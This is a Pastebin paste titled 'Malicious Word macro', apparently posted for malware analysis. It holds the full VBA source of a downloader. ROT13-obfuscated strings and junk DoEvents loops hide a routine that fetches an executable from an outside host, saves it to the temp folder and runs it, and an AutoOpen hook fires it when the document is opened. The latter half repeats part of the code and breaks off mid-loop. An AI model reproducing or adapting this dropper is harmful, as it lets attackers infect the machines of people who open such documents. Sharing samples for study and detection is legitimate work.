Advertisement
dynamoo

Malicious Word macro

Feb 17th, 2015
495
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. REM == MODULE 1 ============================================
  2.  
  3. Attribute VB_Name = "Module1"
  4. Private Const LW4O3AUER = ""
  5. Private Const QPFGLMSjq = LW4O3AUER
  6. Private Const LRipI5OslYA = "abcdefghijklmnopqrstuvwxyz"
  7. Private Const GLEqSmimQC = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  8. Function ZRCOUP(ByVal InString As String)
  9.  
  10.  
  11. Dim LetterU As String
  12. Dim LetterL As String
  13. Dim Letter As String
  14. Dim Rot13 As String
  15. Dim i As Integer
  16. LetterU = GLEqSmimQC
  17. LetterL = LRipI5OslYA
  18. i = 0
  19. Do While i <= Len(InString)
  20. i = i + 1
  21. Letter = Mid(InString, i, 1)
  22. If I0A7WvDveK(Letter) = True Then
  23. If cIRt4Ae(Letter) = True Then
  24. Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
  25. Else
  26. Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
  27. End If
  28. Else
  29. Rot13 = Rot13 + Letter
  30. End If
  31. Loop
  32.  ZRCOUP = Rot13
  33. End Function
  34. Function cIRt4Ae(ByVal InString As String) As Boolean
  35. If StrComp(Trim(InString), "") = 0 Then
  36.  cIRt4Ae = False
  37. Exit Function
  38. End If
  39. If StrComp(InString, UCase(InString)) = 0 Then
  40.  cIRt4Ae = True
  41. Else
  42.  cIRt4Ae = False
  43. End If
  44. End Function
  45. Function I0A7WvDveK(ByVal InString As String) As Boolean
  46. InString = UCase(InString)
  47. If InString = "" Then I0A7WvDveK = False: Exit Function
  48. If Asc(InString) >= 65 And Asc(InString) <= 90 Then
  49.  I0A7WvDveK = True
  50. Else
  51.  I0A7WvDveK = False
  52. End If
  53. End Function
  54.  
  55. REM == MODULE 11 ============================================
  56.  
  57. Attribute VB_Name = "Module11"
  58. Private Const pIna0CSVNsu = "Furyy.Nccyvpngvba"
  59. Private Const dvr5p = "NQBQO.Fgernz"
  60. Private Const wvYm = "Fpevcgvat.SvyrFlfgrzBowrpg"
  61. Private Const OJvaKHZFGT = "TRG"
  62. Private Const dCkKHihXXc = "ZFKZY2.KZYUGGC"
  63. Private Const WWNcjAI4U = "\qfUUU.rkr"
  64. Private Const s8A4IFJCpDYh = "uggc://zjpbq4.pon.cy/wf/ova.rkr"
  65. Private Const gS5U = wvYm
  66.  
  67. Sub ysrSwepCA()
  68. Dim zFWcw, gmkGo6q
  69. Dim EfQhk As Integer
  70. For EfQhk = 655 To 655 + 5
  71. DoEvents
  72. Next EfQhk
  73. Dim Gagod As Integer
  74. For Gagod = 2269 To 2269 + 5
  75. DoEvents
  76. Next Gagod
  77. Set zFWcw = CreateObject(ZRCOUP(gS5U))
  78. Dim wCyKbc As Integer
  79. For wCyKbc = 654 To 654 + 5
  80. DoEvents
  81. Next wCyKbc
  82. Dim EseFcbC As Integer
  83. For EseFcbC = 212 To 212 + 5
  84. DoEvents
  85. Next EseFcbC
  86. Dim ijnK2g, j_YLrCc1S, fz21trwt
  87. Const rihuZ61esFi = 2
  88. Dim iGZkZVPif As Integer
  89. For iGZkZVPif = 1004 To 1004 + 5
  90. DoEvents
  91. Next iGZkZVPif
  92. Dim zuYaG As Integer
  93. For zuYaG = 813 To 813 + 5
  94. DoEvents
  95. Next zuYaG
  96. Dim CmwCy As Integer
  97. For CmwCy = 2175 To 2175 + 5
  98. DoEvents
  99. Next CmwCy
  100. Dim nrRsDxPMjeVRduJfSc As Integer
  101. For nrRsDxPMjeVRduJfSc = 971 To 971 + 5
  102. DoEvents
  103. Next nrRsDxPMjeVRduJfSc
  104. Dim ocNpLYm As Integer
  105. For ocNpLYm = 2458 To 2458 + 5
  106. DoEvents
  107. Next ocNpLYm
  108. Dim oqQdwEtZUU As Integer
  109. For oqQdwEtZUU = 2268 To 2268 + 5
  110. DoEvents
  111. Next oqQdwEtZUU
  112. Set ijnK2g = zFWcw.GetSpecialFolder(rihuZ61esFi)
  113. Dim rRsDxPMEeVRdufSczuYaGag As Integer
  114. For rRsDxPMEeVRdufSczuYaGag = 1256 To 1256 + 5
  115. DoEvents
  116. Next rRsDxPMEeVRdufSczuYaGag
  117. Dim cMuwQt As Integer
  118. For cMuwQt = 844 To 844 + 5
  119. DoEvents
  120. Next cMuwQt
  121. Dim knfDhLrgArivFo As Integer
  122. For knfDhLrgArivFo = 372 To 372 + 5
  123. DoEvents
  124. Next knfDhLrgArivFo
  125. strLink = ZRCOUP(s8A4IFJCpDYh)
  126. Dim paSaEf As Integer
  127. For paSaEf = 752 To 752 + 5
  128. DoEvents
  129. Next paSaEf
  130. Dim UUTZJPYoONeT As Integer
  131. For UUTZJPYoONeT = 401 To 401 + 5
  132. DoEvents
  133. Next UUTZJPYoONeT
  134. Dim JfSczuYa As Integer
  135. For JfSczuYa = 2237 To 2237 + 5
  136. DoEvents
  137. Next JfSczuYa
  138. strSaveTo = ijnK2g & ZRCOUP(WWNcjAI4U)
  139. Dim PQBcNehkcAeI As Integer
  140. For PQBcNehkcAeI = 1085 To 1085 + 5
  141. DoEvents
  142. Next PQBcNehkcAeI
  143. Dim ZwrUVCQckaF As Integer
  144. For ZwrUVCQckaF = 167 To 167 + 5
  145. DoEvents
  146. Next ZwrUVCQckaF
  147. Set kSrmQYLjBtNSgg = CreateObject(ZRCOUP(dCkKHihXXc))
  148. Dim lQPQBc As Integer
  149. For lQPQBc = 1688 To 1688 + 5
  150. DoEvents
  151. Next lQPQBc
  152. Dim UVCQcka As Integer
  153. For UVCQcka = 706 To 706 + 5
  154. DoEvents
  155. Next UVCQcka
  156. Dim hkcAesodxnesCll As Integer
  157. For hkcAesodxnesCll = 1876 To 1876 + 5
  158. DoEvents
  159. Next hkcAesodxnesCll
  160. kSrmQYLjBtNSgg.Open ZRCOUP(OJvaKHZFGT), strLink, False
  161. Dim boPjOnEfFQK As Integer
  162. For boPjOnEfFQK = 1815 To 1815 + 5
  163. DoEvents
  164. Next boPjOnEfFQK
  165. Dim OarFbOZwrUV As Integer
  166. For OarFbOZwrUV = 673 To 673 + 5
  167. DoEvents
  168. Next OarFbOZwrUV
  169. Dim ihlQPQ As Integer
  170. For ihlQPQ = 356 To 356 + 5
  171. DoEvents
  172. Next ihlQPQ
  173. Dim CQckaFOONSpw As Integer
  174. For CQckaFOONSpw = 2478 To 2478 + 5
  175. DoEvents
  176. Next CQckaFOONSpw
  177. kSrmQYLjBtNSgg.send
  178. Dim hYxaF As Integer
  179. For hYxaF = 2021 To 2021 + 5
  180. DoEvents
  181. Next hYxaF
  182. Dim QoCYLUtoQS As Integer
  183. For QoCYLUtoQS = 1609 To 1609 + 5
  184. DoEvents
  185. Next QoCYLUtoQS
  186. Dim aGkAgnGND As Integer
  187. For aGkAgnGND = 2150 To 2150 + 5
  188. DoEvents
  189. Next aGkAgnGND
  190. Dim AfsrHKNF As Integer
  191. For AfsrHKNF = 1200 To 1200 + 5
  192. DoEvents
  193. Next AfsrHKNF
  194. Dim DjefdiTMTyZ As Integer
  195. For DjefdiTMTyZ = 124 To 124 + 5
  196. DoEvents
  197. Next DjefdiTMTyZ
  198. Dim UtoQSzTZhQ As Integer
  199. For UtoQSzTZhQ = 1642 To 1642 + 5
  200. DoEvents
  201. Next UtoQSzTZhQ
  202. Set hxuWnpbqBtp4u = CreateObject(ZRCOUP(gS5U))
  203. Dim RgNfQUujgspLiG As Integer
  204. For RgNfQUujgspLiG = 819 To 819 + 5
  205. DoEvents
  206. Next RgNfQUujgspLiG
  207. Dim pxnSNOMRCJQh As Integer
  208. For pxnSNOMRCJQh = 881 To 881 + 5
  209. DoEvents
  210. Next pxnSNOMRCJQh
  211. Dim hahKYQnr As Integer
  212. For hahKYQnr = 1218 To 1218 + 5
  213. DoEvents
  214. Next hahKYQnr
  215. Dim GAegMS As Integer
  216. For GAegMS = 646 To 646 + 5
  217. DoEvents
  218. Next GAegMS
  219. Dim rfdQpmIfDJF As Integer
  220. For rfdQpmIfDJF = 238 To 238 + 5
  221. DoEvents
  222. Next rfdQpmIfDJF
  223. Dim gyYyJDVFcL As Integer
  224. For gyYyJDVFcL = 2008 To 2008 + 5
  225. DoEvents
  226. Next gyYyJDVFcL
  227. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  228. Dim BOdJc As Integer
  229. For BOdJc = 899 To 899 + 5
  230. DoEvents
  231. Next BOdJc
  232. Dim GNeFEUKMEGljQF As Integer
  233. For GNeFEUKMEGljQF = 741 To 741 + 5
  234. DoEvents
  235. Next GNeFEUKMEGljQF
  236. Dim HitnFC As Integer
  237. For HitnFC = 1820 To 1820 + 5
  238. DoEvents
  239. Next HitnFC
  240. Dim yyaiuQqVtL As Integer
  241. For yyaiuQqVtL = 794 To 794 + 5
  242. DoEvents
  243. Next yyaiuQqVtL
  244. Dim zJesfR As Integer
  245. For zJesfR = 381 To 381 + 5
  246. DoEvents
  247. Next zJesfR
  248. Dim gNCQNE As Integer
  249. For gNCQNE = 728 To 728 + 5
  250. DoEvents
  251. Next gNCQNE
  252. Dim qiHQOzhEglzJe As Integer
  253. For qiHQOzhEglzJe = 854 To 854 + 5
  254. DoEvents
  255. Next qiHQOzhEglzJe
  256. hxuWnpbqBtp4u.DeleteFile (strSaveTo)
  257. Dim tLYLJDVSpZkp As Integer
  258. For tLYLJDVSpZkp = 1204 To 1204 + 5
  259. DoEvents
  260. Next tLYLJDVSpZkp
  261. Dim NetOCLjeH As Integer
  262. For NetOCLjeH = 115 To 115 + 5
  263. DoEvents
  264. Next NetOCLjeH
  265. Dim ROmVgmiuK As Integer
  266. For ROmVgmiuK = 148 To 148 + 5
  267. DoEvents
  268. Next ROmVgmiuK
  269. Dim pNFBNetOCLj As Integer
  270. For pNFBNetOCLj = 1791 To 1791 + 5
  271. DoEvents
  272. Next pNFBNetOCLj
  273. Dim IUIFzRO As Integer
  274. For IUIFzRO = 684 To 684 + 5
  275. DoEvents
  276. Next IUIFzRO
  277. Dim vGbocN As Integer
  278. For vGbocN = 1317 To 1317 + 5
  279. DoEvents
  280. Next vGbocN
  281. Dim HHvvVfrTnSqIIFzROmVgmiuK As Integer
  282. For HHvvVfrTnSqIIFzROmVgmiuK = 148 To 148 + 5
  283. DoEvents
  284. Next HHvvVfrTnSqIIFzROmVgmiuK
  285. Dim qLzIh As Integer
  286. For qLzIh = 140 To 140 + 5
  287. DoEvents
  288. Next qLzIh
  289. End If
  290. Dim OCAuMJgPb As Integer
  291. For OCAuMJgPb = 158 To 158 + 5
  292. DoEvents
  293. Next OCAuMJgPb
  294. Dim jFEhNgRVvV As Integer
  295. For jFEhNgRVvV = 758 To 758 + 5
  296. DoEvents
  297. Next jFEhNgRVvV
  298. Dim ZlNhMkCOCAu As Integer
  299. For ZlNhMkCOCAu = 1582 To 1582 + 5
  300. DoEvents
  301. Next ZlNhMkCOCAu
  302. Dim MjHzvHY As Integer
  303. For MjHzvHY = 1424 To 1424 + 5
  304. DoEvents
  305. Next MjHzvHY
  306. Dim COCAuM As Integer
  307. For COCAuM = 1138 To 1138 + 5
  308. DoEvents
  309. Next COCAuM
  310. Dim gEwsEUkFtC As Integer
  311. For gEwsEUkFtC = 872 To 872 + 5
  312. DoEvents
  313. Next gEwsEUkFtC
  314. Dim hzLzxrIGdM As Integer
  315. For hzLzxrIGdM = 1855 To 1855 + 5
  316. DoEvents
  317. Next hzLzxrIGdM
  318. Dim Antkhrp9gTyfJ3
  319. Dim eVvKC As Integer
  320. For eVvKC = 303 To 303 + 5
  321. DoEvents
  322. Next eVvKC
  323. Dim qlOQxDQfUAv As Integer
  324. For qlOQxDQfUAv = 2486 To 2486 + 5
  325. DoEvents
  326. Next qlOQxDQfUAv
  327. Dim aQtOotqBET As Integer
  328. For aQtOotqBET = 809 To 809 + 5
  329. DoEvents
  330. Next aQtOotqBET
  331. Dim tBOqKpNfFgr As Integer
  332. For tBOqKpNfFgr = 735 To 735 + 5
  333. DoEvents
  334. Next tBOqKpNfFgr
  335. Dim DYOFSdLLzlM As Integer
  336. For DYOFSdLLzlM = 1713 To 1713 + 5
  337. DoEvents
  338. Next DYOFSdLLzlM
  339. Dim OqKpNfFgr As Integer
  340. For OqKpNfFgr = 735 To 735 + 5
  341. DoEvents
  342. Next OqKpNfFgr
  343. Set Antkhrp9gTyfJ3 = CreateObject(ZRCOUP(dvr5p))
  344. Dim JDVTqLkqmyB As Integer
  345. For JDVTqLkqmyB = 542 To 542 + 5
  346. DoEvents
  347. Next JDVTqLkqmyB
  348. Dim ejwtcpOOq As Integer
  349. For ejwtcpOOq = 657 To 657 + 5
  350. DoEvents
  351. Next ejwtcpOOq
  352. Dim EIunuZzlA As Integer
  353. For EIunuZzlA = 2396 To 2396 + 5
  354. DoEvents
  355. Next EIunuZzlA
  356. Dim stauzHxdmml As Integer
  357. For stauzHxdmml = 753 To 753 + 5
  358. DoEvents
  359. Next stauzHxdmml
  360. Dim peJFFE As Integer
  361. For peJFFE = 245 To 245 + 5
  362. DoEvents
  363. Next peJFFE
  364. With Antkhrp9gTyfJ3
  365. Dim nJQYCP As Integer
  366. For nJQYCP = 453 To 453 + 5
  367. DoEvents
  368. Next nJQYCP
  369. Dim bstOPaxeHYD As Integer
  370. For bstOPaxeHYD = 1531 To 1531 + 5
  371. DoEvents
  372. Next bstOPaxeHYD
  373. Dim AVumj As Integer
  374. For AVumj = 1877 To 1877 + 5
  375. DoEvents
  376. Next AVumj
  377. .Type = 1
  378. Dim YpBpnhzwS As Integer
  379. For YpBpnhzwS = 738 To 738 + 5
  380. DoEvents
  381. Next YpBpnhzwS
  382. Dim LakESFsSpo As Integer
  383. For LakESFsSpo = 249 To 249 + 5
  384. DoEvents
  385. Next LakESFsSpo
  386. Dim ijhmQel As Integer
  387. For ijhmQel = 1328 To 1328 + 5
  388. DoEvents
  389. Next ijhmQel
  390. Dim Cbhdor As Integer
  391. For Cbhdor = 851 To 851 + 5
  392. DoEvents
  393. Next Cbhdor
  394. Dim YcqnVjII As Integer
  395. For YcqnVjII = 536 To 536 + 5
  396. DoEvents
  397. Next YcqnVjII
  398. .Open
  399. Dim rVGBqKBsFQz As Integer
  400. For rVGBqKBsFQz = 2453 To 2453 + 5
  401. DoEvents
  402. Next rVGBqKBsFQz
  403. Dim kQlqyn As Integer
  404. For kQlqyn = 1851 To 1851 + 5
  405. DoEvents
  406. Next kQlqyn
  407. Dim RuNtQjvjh As Integer
  408. For RuNtQjvjh = 1217 To 1217 + 5
  409. DoEvents
  410. Next RuNtQjvjh
  411. Dim pPmlNuLyC As Integer
  412. For pPmlNuLyC = 1123 To 1123 + 5
  413. DoEvents
  414. Next pPmlNuLyC
  415. Dim lbeVuYCAiQri As Integer
  416. For lbeVuYCAiQri = 1870 To 1870 + 5
  417. DoEvents
  418. Next lbeVuYCAiQri
  419. .Write kSrmQYLjBtNSgg.responseBody
  420. Dim HMxqxcpoEI As Integer
  421. For HMxqxcpoEI = 1427 To 1427 + 5
  422. DoEvents
  423. Next HMxqxcpoEI
  424. Dim VtdntpB As Integer
  425. For VtdntpB = 793 To 793 + 5
  426. DoEvents
  427. Next VtdntpB
  428. Dim HlPzvk As Integer
  429. For HlPzvk = 2141 To 2141 + 5
  430. DoEvents
  431. Next HlPzvk
  432. Dim DyceJ As Integer
  433. For DyceJ = 2267 To 2267 + 5
  434. DoEvents
  435. Next DyceJ
  436. Dim mjGqAGCOfgBD As Integer
  437. For mjGqAGCOfgBD = 813 To 813 + 5
  438. DoEvents
  439. Next mjGqAGCOfgBD
  440. .SaveToFile strSaveTo
  441. Dim evJfSdAvZaG As Integer
  442. For evJfSdAvZaG = 703 To 703 + 5
  443. DoEvents
  444. Next evJfSdAvZaG
  445. Dim CmxDzK As Integer
  446. For CmxDzK = 420 To 420 + 5
  447. DoEvents
  448. Next CmxDzK
  449. .Close
  450. Dim fGdbDlC As Integer
  451. For fGdbDlC = 735 To 735 + 5
  452. DoEvents
  453. Next fGdbDlC
  454. Dim gqZZLLnvIkE As Integer
  455. For gqZZLLnvIkE = 2286 To 2286 + 5
  456. DoEvents
  457. Next gqZZLLnvIkE
  458. Dim CpcDZYA As Integer
  459. For CpcDZYA = 1038 To 1038 + 5
  460. DoEvents
  461. Next CpcDZYA
  462. Dim iYOdnVVIIks As Integer
  463. For iYOdnVVIIks = 469 To 469 + 5
  464. DoEvents
  465. Next iYOdnVVIIks
  466. End With
  467. Dim vypOeQG As Integer
  468. For vypOeQG = 1594 To 1594 + 5
  469. DoEvents
  470. Next vypOeQG
  471. Dim KRiIIYOQI As Integer
  472. For KRiIIYOQI = 328 To 328 + 5
  473. DoEvents
  474. Next KRiIIYOQI
  475. Set Antkhrp9gTyfJ3 = Nothing
  476. Dim Ocbrvy As Integer
  477. For Ocbrvy = 1089 To 1089 + 5
  478. DoEvents
  479. Next Ocbrvy
  480. Dim ZlBQY As Integer
  481. For ZlBQY = 505 To 505 + 5
  482. DoEvents
  483. Next ZlBQY
  484. Dim VvYCn As Integer
  485. For VvYCn = 2276 To 2276 + 5
  486. DoEvents
  487. Next VvYCn
  488.  
  489. Dim xRuzMJsF As Integer
  490. For xRuzMJsF = 1019 To 1019 + 5
  491. DoEvents
  492. Next xRuzMJsF
  493. Dim SQVHAHmMyNR As Integer
  494. For SQVHAHmMyNR = 1162 To 1162 + 5
  495. DoEvents
  496. Next SQVHAHmMyNR
  497. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  498. Dim ahoSgfvyB As Integer
  499. For ahoSgfvyB = 88 To 88 + 5
  500. DoEvents
  501. Next ahoSgfvyB
  502. Dim QSSQVHA As Integer
  503. For QSSQVHA = 1541 To 1541 + 5
  504. DoEvents
  505. Next QSSQVHA
  506. Dim qOeQGorL As Integer
  507. For qOeQGorL = 929 To 929 + 5
  508. DoEvents
  509. Next qOeQGorL
  510. Dim RIiKpaVJfUL As Integer
  511. For RIiKpaVJfUL = 1181 To 1181 + 5
  512. DoEvents
  513. Next RIiKpaVJfUL
  514. Dim vmLbTDl As Integer
  515. For vmLbTDl = 660 To 660 + 5
  516. DoEvents
  517. Next vmLbTDl
  518. End If
  519. Dim AfFrHLNF As Integer
  520. For AfFrHLNF = 1199 To 1199 + 5
  521. DoEvents
  522. Next AfFrHLNF
  523. Dim mLbTDloI As Integer
  524. For mLbTDloI = 1865 To 1865 + 5
  525. DoEvents
  526. Next mLbTDloI
  527. Dim oEHKCbEjT As Integer
  528. For oEHKCbEjT = 393 To 393 + 5
  529. DoEvents
  530. Next oEHKCbEjT
  531. Dim wftRStCOr As Integer
  532. For wftRStCOr = 1281 To 1281 + 5
  533. DoEvents
  534. Next wftRStCOr
  535. Dim oFrvVJGASP As Integer
  536. For oFrvVJGASP = 509 To 509 + 5
  537. DoEvents
  538. Next oFrvVJGASP
  539. Dim tcpOOqyL As Integer
  540. For tcpOOqyL = 1109 To 1109 + 5
  541. DoEvents
  542. Next tcpOOqyL
  543. Dim AULCPaIIwi As Integer
  544. For AULCPaIIwi = 634 To 634 + 5
  545. DoEvents
  546. Next AULCPaIIwi
  547. Set ыјјыва = CreateObject(ZRCOUP(pIna0CSVNsu))
  548. Dim dBQJtc As Integer
  549. For dBQJtc = 969 To 969 + 5
  550. DoEvents
  551. Next dBQJtc
  552. Dim rkrVwixBEw As Integer
  553. For rkrVwixBEw = 1508 To 1508 + 5
  554. DoEvents
  555. Next rkrVwixBEw
  556. ыјјыва.Open ijnK2g & ZRCOUP(WWNcjAI4U)
  557. Dim QsgpNHlnTo As Integer
  558. For QsgpNHlnTo = 2223 To 2223 + 5
  559. DoEvents
  560. Next QsgpNHlnTo
  561. Dim MYpqLMQubET As Integer
  562. For MYpqLMQubET = 1368 To 1368 + 5
  563. DoEvents
  564. Next MYpqLMQubET
  565. End Sub
  566.  
  567.  
  568.  
  569. REM == ThisDocument ============================================
  570.  
  571. Attribute VB_Name = "ThisDocument"
  572. Attribute VB_Base = "1Normal.ThisDocument"
  573. Attribute VB_GlobalNameSpace = False
  574. Attribute VB_Creatable = False
  575. Attribute VB_PredeclaredId = True
  576. Attribute VB_Exposed = True
  577. Attribute VB_TemplateDerived = True
  578. Attribute VB_Customizable = True
  579. Sub autoopen()
  580. ysrSwepCA
  581. End Sub
  582.  
  583. ://zjpbq4.pon.cy/wf/ova.rkr"
  584. Private Const gS5U = wvYm
  585.  
  586. Sub ysrSwepCA()
  587. Dim zFWcw, gmkGo6q
  588. Dim EfQhk As Integer
  589. For EfQhk = 655 To 655 + 5
  590. DoEvents
  591. Next EfQhk
  592. Dim Gagod As Integer
  593. For Gagod = 2269 To 2269 + 5
  594. DoEvents
  595. Next Gagod
  596. Set zFWcw = CreateObject(ZRCOUP(gS5U))
  597. Dim wCyKbc As Integer
  598. For wCyKbc = 654 To 654 + 5
  599. DoEvents
  600. Next wCyKbc
  601. Dim EseFcbC As Integer
  602. For EseFcbC = 212 To 212 + 5
  603. DoEvents
  604. Next EseFcbC
  605. Dim ijnK2g, j_YLrCc1S, fz21trwt
  606. Const rihuZ61esFi = 2
  607. Dim iGZkZVPif As Integer
  608. For iGZkZVPif = 1004 To 1004 + 5
  609. DoEvents
  610. Next iGZkZVPif
  611. Dim zuYaG As Integer
  612. For zuYaG = 813 To 813 + 5
  613. DoEvents
  614. Next zuYaG
  615. Dim CmwCy As Integer
  616. For CmwCy = 2175 To 2175 + 5
  617. DoEvents
  618. Next CmwCy
  619. Dim nrRsDxPMjeVRduJfSc As Integer
  620. For nrRsDxPMjeVRduJfSc = 971 To 971 + 5
  621. DoEvents
  622. Next nrRsDxPMjeVRduJfSc
  623. Dim ocNpLYm As Integer
  624. For ocNpLYm = 2458 To 2458 + 5
  625. DoEvents
  626. Next ocNpLYm
  627. Dim oqQdwEtZUU As Integer
  628. For oqQdwEtZUU = 2268 To 2268 + 5
  629. DoEvents
  630. Next oqQdwEtZUU
  631. Set ijnK2g = zFWcw.GetSpecialFolder(rihuZ61esFi)
  632. Dim rRsDxPMEeVRdufSczuYaGag As Integer
  633. For rRsDxPMEeVRdufSczuYaGag = 1256 To 1256 + 5
  634. DoEvents
  635. Next rRsDxPMEeVRdufSczuYaGag
  636. Dim cMuwQt As Integer
  637. For cMuwQt = 844 To 844 + 5
  638. DoEvents
  639. Next cMuwQt
  640. Dim knfDhLrgArivFo As Integer
  641. For knfDhLrgArivFo = 372 To 372 + 5
  642. DoEvents
  643. Next knfDhLrgArivFo
  644. strLink = ZRCOUP(s8A4IFJCpDYh)
  645. Dim paSaEf As Integer
  646. For paSaEf = 752 To 752 + 5
  647. DoEvents
  648. Next paSaEf
  649. Dim UUTZJPYoONeT As Integer
  650. For UUTZJPYoONeT = 401 To 401 + 5
  651. DoEvents
  652. Next UUTZJPYoONeT
  653. Dim JfSczuYa As Integer
  654. For JfSczuYa = 2237 To 2237 + 5
  655. DoEvents
  656. Next JfSczuYa
  657. strSaveTo = ijnK2g & ZRCOUP(WWNcjAI4U)
  658. Dim PQBcNehkcAeI As Integer
  659. For PQBcNehkcAeI = 1085 To 1085 + 5
  660. DoEvents
  661. Next PQBcNehkcAeI
  662. Dim ZwrUVCQckaF As Integer
  663. For ZwrUVCQckaF = 167 To 167 + 5
  664. DoEvents
  665. Next ZwrUVCQckaF
  666. Set kSrmQYLjBtNSgg = CreateObject(ZRCOUP(dCkKHihXXc))
  667. Dim lQPQBc As Integer
  668. For lQPQBc = 1688 To 1688 + 5
  669. DoEvents
  670. Next lQPQBc
  671. Dim UVCQcka As Integer
  672. For UVCQcka = 706 To 706 + 5
  673. DoEvents
  674. Next UVCQcka
  675. Dim hkcAesodxnesCll As Integer
  676. For hkcAesodxnesCll = 1876 To 1876 + 5
  677. DoEvents
  678. Next hkcAesodxnesCll
  679. kSrmQYLjBtNSgg.Open ZRCOUP(OJvaKHZFGT), strLink, False
  680. Dim boPjOnEfFQK As Integer
  681. For boPjOnEfFQK = 1815 To 1815 + 5
  682. DoEvents
  683. Next boPjOnEfFQK
  684. Dim OarFbOZwrUV As Integer
  685. For OarFbOZwrUV = 673 To 673 + 5
  686. DoEvents
  687. Next OarFbOZwrUV
  688. Dim ihlQPQ As Integer
  689. For ihlQPQ = 356 To 356 + 5
  690. DoEvents
  691. Next ihlQPQ
  692. Dim CQckaFOONSpw As Integer
  693. For CQckaFOONSpw = 2478 To 2478 + 5
  694. DoEvents
  695. Next CQckaFOONSpw
  696. kSrmQYLjBtNSgg.send
  697. Dim hYxaF As Integer
  698. For hYxaF = 2021 To 2021 + 5
  699. DoEvents
  700. Next hYxaF
  701. Dim QoCYLUtoQS As Integer
  702. For QoCYLUtoQS = 1609 To 1609 + 5
  703. DoEvents
  704. Next QoCYLUtoQS
  705. Dim aGkAgnGND As Integer
  706. For aGkAgnGND = 2150 To 2150 + 5
  707. DoEvents
  708. Next aGkAgnGND
  709. Dim AfsrHKNF As Integer
  710. For AfsrHKNF = 1200 To 1200 + 5
  711. DoEvents
  712. Next AfsrHKNF
  713. Dim DjefdiTMTyZ As Integer
  714. For DjefdiTMTyZ = 124 To 124 + 5
  715. DoEvents
  716. Next DjefdiTMTyZ
  717. Dim UtoQSzTZhQ As Integer
  718. For UtoQSzTZhQ = 1642 To 1642 + 5
  719. DoEvents
  720. Next UtoQSzTZhQ
  721. Set hxuWnpbqBtp4u = CreateObject(ZRCOUP(gS5U))
  722. Dim RgNfQUujgspLiG As Integer
  723. For RgNfQUujgspLiG = 819 To 819 + 5
  724. DoEvents
  725. Next RgNfQUujgspLiG
  726. Dim pxnSNOMRCJQh As Integer
  727. For pxnSNOMRCJQh = 881 To 881 + 5
  728. DoEvents
  729. Next pxnSNOMRCJQh
  730. Dim hahKYQnr As Integer
  731. For hahKYQnr = 1218 To 1218 + 5
  732. DoEvents
  733. Next hahKYQnr
  734. Dim GAegMS As Integer
  735. For GAegMS = 646 To 646 + 5
  736. DoEvents
  737. Next GAegMS
  738. Dim rfdQpmIfDJF As Integer
  739. For rfdQpmIfDJF = 238 To 238 + 5
  740. DoEvents
  741. Next rfdQpmIfDJF
  742. Dim gyYyJDVFcL As Integer
  743. For gyYyJDVFcL = 2008 To 2008 + 5
  744. DoEvents
  745. Next gyYyJDVFcL
  746. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  747. Dim BOdJc As Integer
  748. For BOdJc = 899 To 899 + 5
  749. DoEvents
  750. Next BOdJc
  751. Dim GNeFEUKMEGljQF As Integer
  752. For GNeFEUKMEGljQF = 741 To 741 + 5
  753. DoEvents
  754. Next GNeFEUKMEGljQF
  755. Dim HitnFC As Integer
  756. For HitnFC = 1820 To 1820 + 5
  757. DoEvents
  758. Next HitnFC
  759. Dim yyaiuQqVtL As Integer
  760. For yyaiuQqVtL = 794 To 794 + 5
  761. DoEvents
  762. Next yyaiuQqVtL
  763. Dim zJesfR As Integer
  764. For zJesfR = 381 To 381 + 5
  765. DoEvents
  766. Next zJesfR
  767. Dim gNCQNE As Integer
  768. For gNCQNE = 728 To 728 + 5
  769. DoEvents
  770. Next gNCQNE
  771. Dim qiHQOzhEglzJe As Integer
  772. For qiHQOzhEglzJe = 854 To 854 + 5
  773. DoEvents
  774. Next qiHQOzhEglzJe
  775. hxuWnpbqBtp4u.DeleteFile (strSaveTo)
  776. Dim tLYLJDVSpZkp As Integer
  777. For tLYLJDVSpZkp = 1204 To 1204 + 5
  778. DoEvents
  779. Next tLYLJDVSpZkp
  780. Dim NetOCLjeH As Integer
  781. For NetOCLjeH = 115 To 115 + 5
  782. DoEvents
  783. Next NetOCLjeH
  784. Dim ROmVgmiuK As Integer
  785. For ROmVgmiuK = 148 To 148 + 5
  786. DoEvents
  787. Next ROmVgmiuK
  788. Dim pNFBNetOCLj As Integer
  789. For pNFBNetOCLj = 1791 To 1791 + 5
  790. DoEvents
  791. Next pNFBNetOCLj
  792. Dim IUIFzRO As Integer
  793. For IUIFzRO = 684 To 684 + 5
  794. DoEvents
  795. Next IUIFzRO
  796. Dim vGbocN As Integer
  797. For vGbocN = 1317 To 1317 + 5
  798. DoEvents
  799. Next vGbocN
  800. Dim HHvvVfrTnSqIIFzROmVgmiuK As Integer
  801. For HHvvVfrTnSqIIFzROmVgmiuK = 148 To 148 + 5
  802. DoEvents
  803. Next HHvvVfrTnSqIIFzROmVgmiuK
  804. Dim qLzIh As Integer
  805. For qLzIh = 140 To 140 + 5
  806. DoEvents
  807. Next qLzIh
  808. End If
  809. Dim OCAuMJgPb As Integer
  810. For OCAuMJgPb = 158 To 158 + 5
  811. DoEvents
  812. Next OCAuMJgPb
  813. Dim jFEhNgRVvV As Integer
  814. For jFEhNgRVvV = 758 To 758 + 5
  815. DoEvents
  816. Next jFEhNgRVvV
  817. Dim ZlNhMkCOCAu As Integer
  818. For ZlNhMkCOCAu = 1582 To 1582 + 5
  819. DoEvents
  820. Next ZlNhMkCOCAu
  821. Dim MjHzvHY As Integer
  822. For MjHzvHY = 1424 To 1424 + 5
  823. DoEvents
  824. Next MjHzvHY
  825. Dim COCAuM As Integer
  826. For COCAuM = 1138 To 1138 + 5
  827. DoEvents
  828. Next COCAuM
  829. Dim gEwsEUkFtC As Integer
  830. For gEwsEUkFtC = 872 To 872 + 5
  831. DoEvents
  832. Next gEwsEUkFtC
  833. Dim hzLzxrIGdM As Integer
  834. For hzLzxrIGdM = 1855 To 1855 + 5
  835. DoEvents
  836. Next hzLzxrIGdM
  837. Dim Antkhrp9gTyfJ3
  838. Dim eVvKC As Integer
  839. For eVvKC = 303 To 303 + 5
  840. DoEvents
  841. Next eVvKC
  842. Dim qlOQxDQfUAv As Integer
  843. For qlOQxDQfUAv = 2486 To 2486 + 5
  844. DoEvents
